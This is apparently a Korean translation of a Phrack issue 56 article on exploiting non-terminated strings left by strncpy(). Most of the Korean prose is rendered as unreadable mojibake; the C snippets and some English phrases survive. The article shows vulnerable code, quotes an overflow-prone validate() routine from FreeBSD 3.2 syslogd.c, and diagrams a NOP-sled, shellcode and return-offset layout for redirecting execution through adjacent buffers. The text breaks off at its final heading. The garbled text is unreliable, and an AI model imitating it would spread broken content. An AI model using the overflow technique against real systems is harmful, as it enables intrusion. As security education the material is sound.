- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x0e[0x10] |--------- Á¾·áµÇÁö ¾ÊÀº ÀÎÁ¢¸Þ¸ð¸®¸¦ ¾Ç¿ëÇϱâ ---------| |-----------------------------------------------------------------------------| |------------------------- twitch -------------------------| ¿ªÀÚÁÖ 1. º» ±ÛÀº bitrider@intizen.com¿¡ ÀÇÇØ ¹ø¿ªµÇ¾ú½À´Ï´Ù. ¹ø¿ªÀÌ ¾î·Á¿î ºÎºÐÀº ¿ø¹®À» °ýÈ£()¿¡ ³Ö¾î °°ÀÌ Ç¥½ÃÇÏ¿´½À´Ï´Ù. °í¼ö ¿©·¯ºÐµéÀÇ ÄÚ¸àÆ®¸¦ ¹Ù¶ø´Ï´Ù. 2. ÀÌ ±â»ç¸¦ Ȱ¿ëÇÏ¿© ÇàÇÏ´Â ¾î¶² ºÒ¹ýÀûÀÎ ÇàÀ§µµ µ¶ÀÚÀÇ Ã¥ÀÓÀÔ´Ï´Ù. 3. ÀÌ ¹ø¿ªº»¿¡ ´ëÇÏ¿© ¿ªÀÚ´Â ¾Æ¹«·± ±Ç¸®µµ ÁÖÀåÇÏÁö ¾Ê½À´Ï´Ù. ¸¸¾à, ÀÎ¿ë ¶Ç´Â Àü¹®À» °èÁ¦ÇÏ½Ç ¶§´Â ±×·¡µµ ÀÌ ¿ªÀÚÁÖ ºÎºÐÀ» Æ÷ÇÔÇØ ÁֽʽÿÀ. (v-2000-05-15) ----| Introduction PrackÀÌ ´Ù¸¥ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ±â»ç¸¦ ¿øÇϱ⵵ Çϰí, ´ëºÎºÐÀÇ Àú ¼º°¡½Å strcpy()µéÀÌ strncpyµé·Î ´ëüµÇ¾ú°í, ¾Öµé±îÁö ½©Äڵ带 ÆÄ ÇìÄ¡°í Àֱ⠶§¹®¿¡, ¿©·¯ºÐÀ» À§ÇØ ¶Ç ´Ù¸¥ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ±â¹ýÀ» Á¦½ÃÇÑ´Ù. P55È£ÀÇ 'Frame Pointer Overwriting'°ú ¸¶Âù°¡Áö·Î ÀÌ´Â º¸ÆíÀûÀÎ ¹®Á¦´Â ¾Æ´Ï³ª Á¸ÀçÇϰí ÀÖÀ¸¸ç Ȱ¿ë°¡´ÉÇÏ´Ù. ÀÌ ±â»ç´Â Á¾·áµÇÁö ¾ÊÀº ¹öÆÛµé (Á¤È®È÷´Â Á¾·áµÇÁö ¾ÊÀº ¹®ÀÚ¿­µé)ÀÇ À§Çù°ú ±× ÀÀ¿ëÀÇ °á°ú°¡ º¸¾È¿¡ ¹ÌÄ¡´Â ÀáÀçÀûÀÎ ¿µÇâ¿¡ ´ëÇÏ¿© »ó¼¼È÷ ±â¼úÇÑ´Ù. ¿©±â¼­´Â ¹öÆÛ ¿À¹öÇ÷ο츦 ÅëÇØ ÇÁ·Î±×·¥ ÁøÇà¹æÇâ Àç¼³Á¤À» À̲ø¾î³»¾î, Á¾·áµÇÁö ¾ÊÀº ÀÎÁ¢ ¹®ÀÚ¿­ ¹öÆÛ¸¦ ¾Ç¿ëÇÏ´Â »ùÇÃÄڵ忡 À̸£±â±îÁö, ¹ß»ý°¡´ÉÇÑ ´Ù¾çÇÑ »óȲ¿¡¼­ ÀÌ À̽´¸¦ ³íÀÇÇÑ´Ù. ´ëºÎºÐÀÇ ¹ö±×¿Í ¸¶Âù°¡Áö·Î ÀÌ´Â ¾Ë·ÁÁöÁö ¾ÊÀº ¹®Á¦´Â ¾Æ´Ï³ª ÀÓÀÇ·Î ÃßÃâÇÑ ¼Ò½ºÄÚµåµé¿¡ ºñÃ߾ ¶§ ³Î¸® ¾Ë·ÁÁø À̽´µµ ¾Æ´Ñ °Í °°´Ù. ¿ì¿¬È÷µµ ¿¹Á¦ÄÚµå´Â x86±â¹ÝÀ§ÀÇ FreeBSDÀÇ °üÁ¡¿¡¼­ Á¦½ÃµÈ man ÆäÀÌÁö ¿ä¾à¹®°ú Ư¡ÀûÀÎ ±¸Á¶Àû ÂüÁ¶»çÇ×µéÀ» Æ÷ÇÔÇϰí ÀÖ´Ù. (Incidentally, the example code contains idiosyncratic architectural references and man page excerpts as presented from the point of view of FreeBSD running on the x86 architecture.) ÀϹÝÀûÀÎ »ç¿ë °ü·Ê¿¡ µû¶ó ¹®¹ýÀûÀ¸·Î Ʋ¸®´õ¶óµµ µ¿ ¹®¼­¿¡¼­ ¸í»ç 'µ¥ÀÌŸ'´Â ´Ü¼ö·Î »ç¿ëµÈ´Ù. ----| Rehash ¸¸¾à ´ç½ÅÀÌ ¹öÆÛ ¿À¹öÇ÷ο찡 ¾î¶»°Ô ÀÌ·ç¾îÁö´Â Áö¸¦ ¾È´Ù¸é (¸¸¾à ´ç½ÅÀÌ Áö³­ 2³â³»ÀÇ PhrackÀ» Çϳª¶óµµ ÀоîºÃ´Ù¸é ¾î¶»°Ô ¸ð¸¦ ¼ö ÀÖÀ»±î?) ÀÌ ¼½¼ÇÀº °Ç³Ê ¶Ù¾î¶ó. ¾î¶² ÇÁ·Î±×·¥ÀÌ ¹öÆÛ¸¦ ÇÒ´çÇϰí ÀÓÀÇÀÇ µ¥ÀÌŸ¸¦ ÀÌ ¹öÆÛ¿¡ º¹»çÇÒ ¶§, ±× ÇÁ·Î±×·¥Àº º¹»çµÇ´Â ¸ðµç °ÍÀ» À§ÇÑ ÃæºÐÇÑ °ø°£ÀÌ ÀÖ´Â Áö¸¦ È®ÀÎÇÏ¿©¾ß¸¸ ÇÑ´Ù. ¸¸¾à ÇÒ´çµÈ ¸Þ¸ð¸®º¸´Ù ´õ ¸¹Àº µ¥ÀÌŸ°¡ ÀÖ´Â °æ¿ì, ¸ðµç µ¥ÀÌŸ°¡ ¿©ÀüÈ÷ º¹»çµÇ³ª, ÁöÁ¤µÈ ¹öÆÛÀÇ ³¡À» Áö³ª, ¹«ÀÛÀ§ÀÇ, º¸ÅëÀº ²Ï Áß¿äÇÑ µ¥ÀÌŸ¸¦ µ¤¾î ½á¹ö¸°´Ù. ÀÌ°Ç Á¤¸» ²Ï °Ç¹æÁø ÀÏÀÌ´Ù. ¸¸¾à ±× µ¥ÀÌŸ°¡ »ç¿ëÀÚ¿¡ ÀÇÇØ Á¦°øµÉ ¼ö ÀÖ´Ù¸é ±× »ç¿ëÀÚ´Â º¯¼öÀÇ °ªÀ» º¯°æÇϰųª ÇÁ·Î±×·¥ ½ÇÇàÀÇ ¹æÇâÀ» Àç¼³Á¤Çϰųª µîÀÇ ¾ÇÀÇÀûÀÎ ÀϵéÀ» ÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ÀϹÝÀûÀÎ ¿À¹öÇ÷οì´Â ¾Æ·¡¿Í °°ÀÌ »ý°å´Ù: void func(char *userdata) { char buf[256]; ... strcpy(buf, userdata); ... } À§ ÇÁ·Î±×·¥ ÀÛ¼ºÀÚ´Â º¹»çµÇ´Â µ¥ÀÌŸ°¡ È®½ÇÈ÷ 256 ¹ÙÀÌÆ®º¸´Ù ÀûÀ» °ÍÀ̰í Á¦°øµÈ ¹öÆÛ¿¡ Àß ¸ÂÀ» °ÍÀ̶ó°í °¡Á¤Çϰí ÀÖ´Ù. ºÒÇàÇϰԵµ, º¹»çµÇ´Â µ¥ÀÌŸ´Â »ç¿ëÀÚ°¡ Á¦°øÇÏ´Â °ÍÀ̹ǷÎ, ±× µ¥ÀÌŸ´Â Á¤¸» ¾î¶² °ÍÀ̳ª ¾î¶² Å©±âÀÇ °ÍÀÏ ¼öµµ ÀÖ´Ù. strcpy()ÇÔ¼ö´Â NULLÀÌ ¹ß°ßµÉ ¶§±îÁö *userdataÀÇ ¹ÙÀÌÆ®µéÀ» °è¼Ó º¹»çÇϹǷΠ256 ¹ÙÀÌÆ®¸¦ ³Ñ´Â ¾î¶² µ¥ÀÌŸ¶óµµ ¿À¹öÇ÷ο츦 ÀÏÀ¸Å²´Ù. µû¶ó¼­, ºñ¿­ÇÑ »ç¶÷µéÀÌ À̸¦ ¾Ç¿ëÇÏÁö ¸øÇϰԲû Çϱâ À§ÇÑ ³ë·ÂÀÇ ÀÏȯÀ¸·Î, ÇÁ·Î±×·¡¸ÓµéÀº ±×µéÀÇ ¼ÒÇÁÆ®¿þ¾î°¡ ¹öÆÛ°ø°£ÀÌ ÀÖ´Â ¸¸Å­ÀÇ µ¥ÀÌŸ¸¸À» º¹»çÇÏ´ÂÁö¸¦ È®½ÇÈ÷ ÇÏ·Á ÇÒ °ÍÀÌ´Ù. ÀÌ °úÁ¦¸¦ ´Þ¼ºÇϱâ À§ÇÏ¿© ±×µéÀº º¸Åë ¾Æ·¡¿Í °°Àº ¹«¾ð°¡¸¦ ÇÑ´Ù: void func(char *userdata) { char buf[256]; ... strncpy(buf, userdata, 256); ... } strncpy()´Â Á¤ÀÇµÈ ¸¸Å­ÀÇ ¹ÙÀÌÆ®¸¸À» º¹»çÇÒ °ÍÀÌ´Ù. µû¶ó¼­ À§¿¡¼­´Â º¹»çµÇ´Â µ¥ÀÌŸÀÇ ÃÖ´ë·®Àº 256 ¹ÙÀÌÆ®ÀÌ°í ¾Æ¹« °Íµµ µ¤¾î¾²ÀÌÁö ¾Ê´Â´Ù (À§ÀÇ ÄÚµå Âɰ¡¸®°¡ ¾Æ·¡¿¡¼­ ³íÀÇÇÒ ¹®Á¦ÀÇ ¿¹¸¦ µé°í ÀÖ´Ù´Â Á¡À» ÁÖÀÇÇÒ °Í). ¹öÆÛ ¿À¹ö·±°ú ÇÁ·Î±×·¥ ¹æÇâÀç¼³Á¤ ¹× "Àç¹Ì¿Í ©ÇÔÀ» À§ÇØ ½ºÅà ÈÄ·ÁÄ¡±â"¿¡ ´ëÇÑ ÈξÀ ´õ ³ªÀº ¼³¸íÀ» º¸·Á¸é ÈÄÀÚ¿Í µ¿ÀÏÇÑ À̸§ÀÇ P49-10¹øÀÇ ±â»ç¸¦ ÂüÁ¶Ç϶ó. ----| Pith ¹®Á¦ÀÇ º»ÁúÀº ¸¹Àº ÇÁ·Î±×·¡¸ÓµéÀÌ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇ×ÇÒ '¸¶¹ýÀÇ Åº¾Ë'·Î ¾ÈÀüÇÏ°Ô ¿©±â°í ÀÖ´Â ¸¹Àº ÇÔ¼öµéÀÌ ÀÚµ¿À¸·Î ¹®ÀÚ¿­/¹öÆÛ¸¦ NULL·Î Á¾·á½ÃŰÁö´Â ¾Ê´Â ´Ù´Â °ÍÀÌ´Ù. ½ÇÁ¦·Î´Â À̵é ÇÔ¼ö¿¡ Á¦°øµÇ´Â ¹öÆÛ»çÀÌÁî´Â Àý´ëÀûÀÎ Å©±âÀÌÁö ¹®ÀÚ¿­ÀÇ Å©±â´Â ¾Æ´Ñ °ÍÀÌ´Ù. À̸¦ º¸´Ù Á¤±³ÇÏ°Ô º¸À̱â À§ÇÏ¿© strncpy()ÀÇ man ÆäÀÌÁö·Î ºÎÅÍ ¹ßÃéÇÑ ³»¿ëÀ» º¸¸é: char * strncpy(char *dst, const char *src, size_t len) ... strncy()´Â len°ª ¸¸Å­ dst¿¡ º¹»çÇϴµ¥ ¸¸¾à src°¡ len°ªÀÇ ±æÀ̺¸´Ù ÀûÀº °æ¿ì '\0'¸¦ ÷ºÎÇÏÁö¸¸ src°¡ len°ªº¸´Ù ±ä °æ¿ì¿¡´Â Á¾·á½ÃŰÁö _¾Ê´Â´Ù+_. ... +(¹ØÁÙÀº ¿øº»¿¡ ÀÖ´ø °ÍÀÓ.) ÀÌ ¹®Á¦°¡ ¾î¶»°Ô »¸¾î ³ª°¥ ¼ö ÀÖ´Â Áö ÀÌÇØÇϱâ À§Çؼ­ ¾Æ·¡¿Í °°ÀÌ ÇÒ´çµÈ µÎ°³ÀÇ ÀÚµ¿ ¹®Àڹ迭ÀÇ °æ¿ì¸¦ º¸ÀÚ: char buf1[8]; char buf2[4]; ÄÄÆÄÀÏ·¯´Â °ÅÀÇ ¾Æ¸¶µµ ÀÌµé µÎ ¹öÆÛ¸¦ ½ºÅÃ»ó¿¡ _³ª¶õÈ÷_ °°ÀÌ ºÙ¿©¼­ ³õÀ» °ÍÀÌ´Ù. ÀÚ, À§ÀÇ Á¤ÀÇ¿¡ µû¸¥ ½ºÅÃÀ» º¸ÀÚ: Upper Memory || ----------------> [Top of the stack] || ----------------> [ buf2 - 0 ] || ----------------> [ buf2 - 1 ] || ----------------> [ buf2 - 2 ] || ----------------> [ buf2 - 3 ] || ----------------> [ buf1 - 0 ] || ----------------> [ buf1 - 1 ] || ----------------> [ buf1 - 2 ] || ----------------> [ buf1 - 3 ] || ... || ----------------> [ buf1 - 7 ] || || ... \/ [¿ì¸®ÀÇ ¿¹Á¦Ã¼°è¿¡¼­´Â ½ºÅÃÀº ¾Æ·¡·Î Áõ°¡ÇÑ´Ù´Â °ÍÀ» ±â¾ïÇØ¶ó, (¾Æ¸¶ ´ç½ÅÀÇ °Íµµ ¸¶Âù°¡Áö ÀÏ °ÍÀÌ´Ù,) µû¶ó¼­ À§ ±×¸²Àº °Å²Ù·Î ³õ¿©Áø °ÍÀÌ´Ù.] µû¶ó¼­, ÇÁ·Î±×·¡¸Ó°¡ ¾Æ·¡¿Í °°Àº ÀÏÀ» ÇÏ·Á´Â °æ¿ì: void func() { char buf1[8]; char buf2[4]; fgets(buf1, 8, stdin); strncpy(buf2, buf1, 4); } ¸¸¾à »ç¿ëÀÚ°¡ 'iceburn'À̶õ ¹®ÀÚ¿­À» ÀÔ·ÂÇÏ¿´´Ù°í °¡Á¤Çϸé strncpy() ÈÄ¿¡ ½ºÅÃÀº ´ÙÀ½°ú °°À» °ÍÀÌ´Ù: Upper Memory || ----------------> [Top of the stack] || ----------------> [ 'i' (buf2 - 0) ] || ----------------> [ 'c' (buf2 - 1) ] || ----------------> [ 'e' (buf2 - 2) ] || ----------------> [ 'b' (buf2 - 3) ] || ----------------> [ 'i' (buf1 - 0) ] || ----------------> [ 'c' (buf1 - 1) ] || ----------------> [ 'e' (buf1 - 2) ] || ----------------> [ 'b' (buf1 - 3) ] || ----------------> [ 'u' (buf1 - 4) ] || ----------------> [ 'r' (buf1 - 5) ] || ----------------> [ 'n' (buf1 - 6) ] || ----------------> [ 0x00 (buf1 - 7) ] || || ... \/ ¿ì¸®´Â man ÆäÀÌÁö¸¦ ÅëÇØ strncpy() ´Â 4 ¹ÙÀÌÆ®ÀÌ»óÀ» º¹»çÇÏÁö ¾ÊÀ» °ÍÀ̶õ Á¡À» ¾Ë°í ÀÖ´Ù. ±×·¯³ª src ¹®ÀÚ¿­ÀÌ 4 ¹ÙÀÌÆ®º¸´Ù ±æ±â ¶§¹®¿¡ ±× ¹®ÀÚ¿­Àº null·Î Á¾·áÇÏÁöµµ ¾Ê´Â´Ù. µû¶ó¼­, ºñ·Ï sizeof(buf2)´Â 4ÀÌÁö¸¸, strlen(buf2)´Â ÀÌÁ¦ 11ÀÌ´Ù. ÇÒ´çµÈ °ø°£ÀÇ °æ°è¸¦ ³Ñ¾î¼­´Â ¾î¶² µ¥ÀÌŸµµ µ¤¾î¾²ÀÌÁö´Â ¾ÊÀ¸¹Ç·Î À̰ÍÀº ¿À¹öÇ÷ο찡 ¾Æ´Ï´Ù. ±×·¯³ª, À̴ ƯÀÌÇÑ »óȲÀ» ¸¸µç´Ù. ¿¹¸¦µé¾î, printf("You entered: %s\n", buf2); ´Â ¾Æ·¡¿Í °°Àº °á°ú¸¦ »êÃâÇÑ´Ù: You entered: icebiceburn ºÐ¸íÈ÷ ÀǵµÇÏ´ø ¹Ù´Â ¾Æ´Ò °ÍÀÌ´Ù. ----| Apparition ÀÌ ¹®Á¦´Â ¼±·®ÇÏ°íµµ ½ÅºñÇÑ ¸ð½ÀÀ¸·Î ½ÇÁ¦ »óȲ¿¡ ³ªÅ¸³­´Ù. ´ÙÀ½Àº FreeBSD 3.2-RELEASEÀÇ syslogd.c ÀÌ´Ù: /* * Validate that the remote peer has permission to log to us. */ int validate(sin, hname) struct sockaddr_in *sin; const char *hname; { int i; size_t l1, l2; char *cp, name[MAXHOSTNAMELEN]; struct allowedpeer *ap; if (NumAllowed == 0) /* traditional behaviour, allow everything */ return 1; strncpy(name, hname, sizeof name); if (strchr(name, '.') == NULL) { strncat(name, ".", sizeof name - strlen(name) - 1); strncat(name, LocalDomain, sizeof name - strlen(name) - 1); } ... } hnameÀÌ ÃÖ¼ÒÇÑ MAXHOSTNAMELEN ¹ÙÀÌÆ®¸¸Å­ ±æ°í '.'À» Æ÷ÇÔÇϰí ÀÖÁö ¾Ê´Ù°í °¡Á¤ ÇÏÀÚ. ÀÌ °æ¿ì¿¡´Â strncatÇÒ ±æÀ̰ªÀÇ °è»êÀº ¾Æ·¡¿Í °°ÀÌ ÆîÃļ­ º¼¼ö ÀÖ´Ù´Â ÀǹÌÀÌ´Ù: sizeof name == MAXNAMELEN strlen(name) >= MAXNAMELEN µû¶ó¼­, ±æÀÌ´Â 0 º¸´Ù ÀÛ´Ù. ±Û½ê, strncatÀÇ ±æÀÌ º¯¼ö´Â size_t À¯ÇüÀε¥ ÀÌ´Â ºÎÈ£¾ø´Â(unsigned) À¯ÇüÀ̹ǷÎ, strncatÀº ½ÇÁ¦·Î ³Ê¹«³ª ¸¹Àº ¹ÙÀÌÆ®µéÀ» ±â²¨ÀÌ µ¡ºÙÀÌ·Á ÇÒ °ÍÀÌ´Ù. µû¶ó¼­, ·ÎÄõµ¸ÞÀγ×ÀÓ Àüü°¡ À̸§ (ÀÌ¹Ì ÇÒ´çµÈ ±æÀ̸¦ ´Ù ä¿î) µÚ¿¡ µ¡ºÙ¿©Áö°í, validate() °¡ °ªÀ» Àü´ÞÇÒ ¶§ ¿À¹öÇ÷ο찡 ¹ß»ýÇÏ¿© syslogd´Â segfault¸¦ ÀÏÀ¸Å³ °ÍÀÌ´Ù. ¿ì¿¬È÷µµ, ÇØ´ç È£½ºÆ®¿¡ ´ëÇÑ ·ÎÄõµ¸ÞÀÎÀÌ Àû´çÇÑ ½ºÅûóÀÇ offsetÀÌ ¾Æ´Ï¶ó¸é, À§ ¿¹´Â ´ÜÁö syslog¸¦ Á¾·á½ÃŰ´Â µ¥ Ȱ¿ëµÉ ¼ö ÀÖÀ» »ÓÀÌ´Ù (¿ì¿¬È÷µµ, 0xbfbfd001.com ÀÌ °¡´ÉÇÏ´Ù). ----| Pith + Apparition = Opportunity ÀÌ·± À¯ÇüÀÇ ¿À¹öÇ÷ο찡 ´Ù¾çÇÑ ¸ð¾çÀ¸·Î (±×¸®°í Á¤¸», ´Ù¾çÇÑ ¹æ¹ýÀ¸·Î ³ªÅ¸³¯ °ÍÀÌ´Ù) ÀÌ¿ëµÉ ¼ö ÀÖ°ÚÁö¸¸, ÀÌÇØÇϱ⿡ °¡Àå ¼½½ÃÇÏ°í ½¬¿î °ÍÀº ÇÁ·Î±×·¥ ½ÇÇà¹æÇâ Àç¼³Á¤ÀÌ´Ù. ºñ·Ï ¾Æ·¡¿¡ ¿¹½ÃµÈ »óȲÀÌ ½ÉÇÏ°Ô ¼³Á¤µÈ °ÍÀÌÁö¸¸ À¯»çÇÑ »óȲÀÌ Àü¼¼°è¿¡¼­ ÇöÀç »ç¿ëµÇ°í ÀÖ´Â Àâ´ÙÇÑ ¼ÒÇÁÆ®¿þ¾î¿¡ Á¸ÀçÇϰí ÀÖ´Ù´Â Á¡À» ÁÖÀÇÇØ¾ß ÇÑ´Ù. ÀÌÁ¦ »ç¿ëÀÚ°¡ µÎ°³ÀÇ ÀÎÁ¢ÇÑ ¹öÆÛÀÇ ³»¿ëÀ» Á¤ÇÒ ¼ö ÀÖ´Â »óȲÀ» ¾ð±ÞÇØ º¸ÀÚ. ¾Æ·¡¿Í °°Àº ºÎºÐÀ» ºÁ¶ó: int main(int argc, char **argv) { char buf1[1024]; char buf2[256]; strncpy(buf, argv[1], 1024); strncpy(buf2, argv[2], 256); ... if(somecondition) print_error(buf2); } void print_error(char *p) { char mybuf[263]; sprintf(mybuf, "error: %s", p); } ½ºÅÃÀÇ ±×¸²Àº ¸Å¿ì Å©°í ÁßøµÇ¾î ÀÖÀ» °ÍÀ̹ǷΠÀÌÀÇ ¸ð½ÀÀ» ±¸¼ºÇØ º¸ÀÌÁö´Â ¾ÊÀ» °ÍÀ̳ª ¾î¶² ÀÏÀÌ ¹ß»ýÇÒ Áö´Â ¸Å¿ì ¸í¹éÇÒ °ÍÀÌ´Ù. ÇÁ·Î±×·¡¸Ó´Â main()¿¡ strncpy()¸¦ Àû´çÈ÷ »ç¿ëÇßÀ¸´Ï print_error()¿¡ À̸£·¸À» ¶§, µ¥ÀÌŸ°¡ ¾Æ¹« ¹®Á¦°¡ ¾øÀ» °ÍÀ̶ó°í »ý°¢ÇÒ °ÍÀÌ´Ù. µû¶ó¼­, sprintf()°¡ ¾Æ¹« ¹®Á¦¾øÀÌ È£ÃâµÉ °ÍÀ̶ó°í °¡Á¤ÇÑ´Ù. ºÒÇàÈ÷µµ, p´Â buf2¸¦ °¡¸®Å°°í ÀÖ°í buf2´Â ÀûÀýÈ÷ Á¾·áµÇÁö ¾Ê¾ÒÀ¸¹Ç·Î sprintf()´Â buf1ÀÇ ³¡À» Áö³ª, ¾îµò°¡¿¡ NULLÀÌ ÀÖ´Â °÷¿¡ À̸¦ ¶§±îÁöÀÇ µ¥ÀÌŸ¸¦ ¾ÆÁÖ ±â²¨ÀÌ °è¼Ó º¹»çÇÒ °ÍÀÌ´Ù. ¿À ¸ÁÇÒ. ----| Hexploitation ¾Æ·¡ °¢º»¿¡ À־ ÀÌ ¹®Á¦ÀÇ È°¿ëÀº (ÇÁ·Î±×·¥ ¹æÇâÀç¼³Á¤À» ¸ñÀûÀ¸·ÎÇÑ) ÀüÅëÀûÀÎ ´ÜÀϹöÆÛ ¿À¹ö·±ÀÇ °æ¿ì¿Í ¾à°£ ´Ù¸£´Ù. ¿ì¼±, ÀüÅëÀûÀÎ ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇÑ ¾à°£ÀÇ ºÐ¼®À» º¸ÀÚ. 256 ¹ÙÀÌÆ®ÀÇ ´ÜÀÏ ¹öÆÛ¸¦ ¿À¹öÇ÷οì½ÃŰ´Â °ÍÀ» °¡Á¤Çϸé, ¿ì¸®ÀÇ ÅºµÎ´Â ÀϹÝÀûÀ¸·Î ¾Æ·¡¿Í °°Àº ¾î¶² ¸ð½ÀÀÏ °ÍÀÌ´Ù (±×¸²Àº ½ÇÁ¦ Å©±â°¡ ¹°·Ð ¾Æ´Ï´Ù): [ 0 ....................................................256.. ~280 ] -------------------------------------------------------------------- | | | | | | Bunch of NOP's | shellcode | More NOP's | offset_to_shellcode | | | | | | -------------------------------------------------------------------- | Buffer | |________________________________________________________| ¿ì¸®°¡ ÇÒÀÏÀº ¿À¹öÇ÷ο찡 ¹ß»ýÇÒ ¶§, ÀúÀåµÇ¾î ÀÖ´ø ¸í·ÉÆ÷ÀÎÅ͸¦ (½ºÅà ¾îµò°¡ÀÇ ÁÖ¼ÒÀÎ) ¿ì¸®ÀÇ ½© Äڵ忡 ´ëÇÑ offsetÀ¸·Î µ¤¾î¾²´Â °ÍÀÌ ÀüºÎ´Ù. µû¶ó¼­, ¾î¶² Ãë¾àÇÑ ÇÔ¼ö°¡ °á°ú°ªÀ» »êÃâÇÒ ¶§, ÇÁ·Î±×·¥ÀÇ ½ÇÇàÀÌ ¿ì¸®ÀÇ ÄÚµå·Î ¹æÇâÀ» ¹Ù²Ù°Ô µÈ´Ù. ÀÌÁ¦ ´Ù¸¥ 256¹ÙÀÌÆ®Â¥¸® ¹öÆÛ¸¦ ¿À¹öÇ÷οì½Ã۰íÀÚ ÇÏ´Â µ¥, À§¿¡¼­ ¾ð±ÞÇÑ print_error() ÄÚµå Âɰ¡¸® Áß¿¡ ÀÖ´ø ¹öÆÛ¸¦ ¿À¹öÇ÷οì½ÃŲ´Ù°í °¡Á¤Çغ¸ÀÚ. ¿ì¸®ÀÇ ¾ÇÀÇÀûÀÎ Àǵµ¸¦ ´Þ¼ºÇϱâ À§Çؼ­´Â ±×·¯³ª, buf1°ú buf2¸¦ ³ª¶õÈ÷ ½á¾ß¸¸ ÇÑ´Ù. ¿ì¸®°¡ ÇÒ ÀÏÀº buf2¸¦ ¿ì¸®ÀÇ ½©ÄÚµå¿Í NOPµé·Î ä¿ì°í³ª¼­, buf1ÀÇ Ã¹ºÎºÐÀ» ¿ì¸®ÀÇ offset À¸·Î »ç¿ëÇÒ ÀÏÀÌ ÀüºÎÀÌ´Ù. µû¶ó¼­, strncpy()µé ÀÌÈÄ¿¡ buf1Àº ¾Æ·¡¿Í °°Àº ¸ð½ÀÀÏ °ÍÀÌ´Ù: [ 0 ......................................................... 1024 ] -------------------------------------------------------------------- | | | | offset_to_shellcode | Filled with NULL's by strncpy() | | | | -------------------------------------------------------------------- ±×¸®°í buf2´Â ¾Æ·¡¿Í °°Àº ¸ð½ÀÀÏ °ÍÀÌ´Ù: [ 0 .......................................................... 256 ] -------------------------------------------------------------------- | | | | | Bunch of NOP's | shellcode | More NOP's | | | | | -------------------------------------------------------------------- ÀÌ·¯ÇÑ ¹èÄ¡´Â ½ºÅÿ¡¼­ ¹öÆÛµéÀÌ ¹èÄ¡µÇ´Â °Í ¶§¹®¿¡ ÇÊ¿äÇÑ °ÍÀÌ´Ù. argv[1]À¸·Î Á¦°ø µÇ´Â °ÍµéÀº (buf1À¸·Î º¹»çµÇ¾îÁö´Â µ¥ÀÌŸ´Â) ¿ì¸®°¡ argv[2]·Î Á¦°øÇÏ´Â µ¥ÀÌŸµé (buf2·Î º¹»çµÇ´Â) º¸´Ù ´õ »óÀ§¸Þ¸ð¸®¿¡ À§Ä¡ÇÏ°Ô µÉ °ÍÀÌ´Ù. µû¶ó¼­ ±â¼úÀûÀ¸·Î, ¿ì¸®´Â offsetÀ» exploit ¿­ÀÇ ¸¶Áö¸· ºÎºÐÀÌ ¾Æ´Ï¶ó ùºÎºÐ¿¡ ¿Ã¸®´Â °ÍÀÌ´Ù. ±×·¯¸é, print_error() ÇÔ¼ö°¡ È£ÃâµÉ ¶§, main()ÀÇ ½ºÅÃÀº ¾Æ·¡¿Í °°Àº ¸ð¾çÀÏ °ÍÀÌ´Ù: [Top of stack Upper Memory] [ 0 .............................................~300../ /... 1280 ] -------------------------------------------------------/ /---------- | | | | / / | | Bunch of NOP's | shellcode | More NOP's | offset / / NULL's | | | | | / / | -------------------------------------------------------/ /---------- ÀÌ ¸ð½ÀÀº ¾Õ¿¡¼­ ±â¼úÇÑ ÀüÅëÀûÀΠźµÎÀÇ ¸ð¾ç°ú »ó´çÈ÷ À¯»çÇÏ´Ù. print_error()ÀÌ È£ÃâµÉ ¶§, buf2ÀÇ Ã¹ºÎºÐ ¶Ç´Â main() ³»ÀÇ ½ºÅÃÀÇ Ã¹ºÎºÐ¿¡ ´ëÇÑ Æ÷ÀÎÅ͸¦ °Ç³×¹Þ°Ô µÈ´Ù. µû¶ó¼­, sprintf()°¡ È£ÃâµÉ ¶§, ¿À¹ö·±ÀÌ ¹ß»ýÇϰí, ÇÁ·Î±×·¥½ÇÇà ¹æÇâÀÌ ¿ì¸®ÀÇ ½©ÄÚµåÂÊÀ¸·Î Àç¼³Á¤Çϸ鼭 ±âÁ¸ÀÇ ¸ðµç °ÍÀÌ ÁߴܵȴÙ. ¸¸¾à ÄÄÆÄÀÏ·¯°¡ ÇϳªÀÇ ¹öÆÛ¸¦ ¸Å²Ù¾î ¹ö¸°´Ù¸é ¹®Á¦¿¡ ºÀÂøÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¿©±â¿¡¼­ ¹è¿­ÀÌ ÇÙ½ÉÀÓÀ» ÁÖ¸ñÇØ¶ó. ¾î´À ¹öÆÛ°¡ ¸Å²Ù¾îÁö´ÂÁö, ±×¸®°í ¸Å²Ù¾îÁö´Â ¹ÙÀÌÆ®ÀÇ ³»¿ëÀÌ ¹«¾ùÀÎÁöµµ ¼º°ø¿©ºÎ¿¡ Áß¿äÇÑ ¿ªÇÒÀ» ÇÑ´Ù. ¸¸¾à buf2°¡ ¸Å²Ù¾îÁö°í, ¸Å²Ù¾îÁö´Â ¹ÙÀÌÆ®µéÀÌ NULLÀ» Æ÷ÇÔÇÑ´Ù¸é, ¿À¹öÇ÷οì (¶Ç´Â ¾µ¸¸ÇÑ ¿À¹öÇ÷οì´Â)´Â ¹ßÇàÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ¸¸¾à ¸Å²Ù¾îÁö´Â ¹ÙÀÌÆ®°¡ 0ÀÌ _¾Æ´Ï¶ó¸é_, ¸Å²Ù¾îÁö´Â ¹ÙÀÌÆ®µéÀÌ ÀÌÁß¹®ÀÚ ¹üÁÖ (double-word boundary)¸¦ ¹þ¾î³ªÁö ¾Ê´Â ÇÑ (°ÅÀÇ È®½ÇÈ÷ ±×·² °ÍÀÌ´Ù), ¿ì¸®´Â ÀúÀåµÇ¾î ÀÖ´Â ¸í·ÉÆ÷ÀÎÅ͸¦ ¿©ÀüÈ÷ ¼º°øÀûÀ¸·Î µ¤¾î¾µ ¼ö ÀÖ´Ù. ¸¸¾à buf1ÀÌ ¸Å²Ù¾îÁö¸é, ¸Å²Ù¾îÁö´Â ¹ÙÀÌÆ®¿¡ NULLÀÌ Æ÷ÇԵǴ Áö´Â ¾îÂ¥ÇÇ ÀÌ ºÎºÐÀÌ ¿ì¸®ÀÇ ½©ÄÚµå µÚ¿¡ ºÙ°ÔµÇ¹Ç·Î Áß¿äÇÏÁö ¾Ê´Ù. ----| Denouement ´ëºÎºÐÀÇ 